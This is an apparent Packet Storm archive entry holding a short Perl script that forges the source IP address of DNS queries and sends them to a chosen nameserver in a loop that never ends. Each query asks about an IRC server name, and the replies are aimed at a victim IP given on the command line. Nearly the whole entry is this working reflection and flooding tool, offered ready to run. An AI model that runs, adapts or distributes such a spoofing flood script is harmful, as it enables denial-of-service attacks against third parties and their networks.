spoofer.pl.txt

2007-10-23T00:00:00
ID PACKETSTORM:60296
Type packetstorm
Reporter shadow
Modified 2007-10-23T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
  
# Get Net::RawIP at  
http://search.cpan.org/CPAN/authors/id/S/SZ/SZABGAB/Net-RawIP-0.21_01.tar.gz  
# cpan Net::DNS:Resolver seems to work fine on each machine I throw it  
on, as well.  
  
  
# PS: To see if you can spoof, check out the ANA Spoofer project.  
# http://spoofer.csail.mit.edu/  
  
use Net::DNS::Resolver;  
use Net::RawIP;  
use strict;  
  
if ($ARGV[1] eq '') {  
print "Usage: spoofer.pl <Nameserver> <IP>\n";  
exit(0);  
}  
print ("Sending DNS requests to $ARGV[0] with source IP $ARGV[1]...\n");  
my $str;  
my $name;  
my @name = ("irc.efnet.net", "irc.dal.net", "irc.undernet.org",  
"irc.freenode.net");  
my $src_ip;  
for (my $i=0; $i < 256; $i++) {  
if ($i>1) { # Make new string  
$str = @name[int rand(3)];  
$i = 0;  
}  
$src_ip = $ARGV[1];  
# Make DNS packet  
my $dnspacket = new Net::DNS::Packet($str, "A", "IN");  
my $dnsdata = $dnspacket->data;  
my $sock = new Net::RawIP({udp=>{}});  
# send packet  
$sock->set({ip => {  
saddr => $src_ip, daddr => "$ARGV[0]",  
frag_off=>0,tos=>0,id=>1565},  
udp => {source => 53,  
dest => 53, data=>$dnsdata  
} });  
$sock->send;  
}  
exit(0);  
`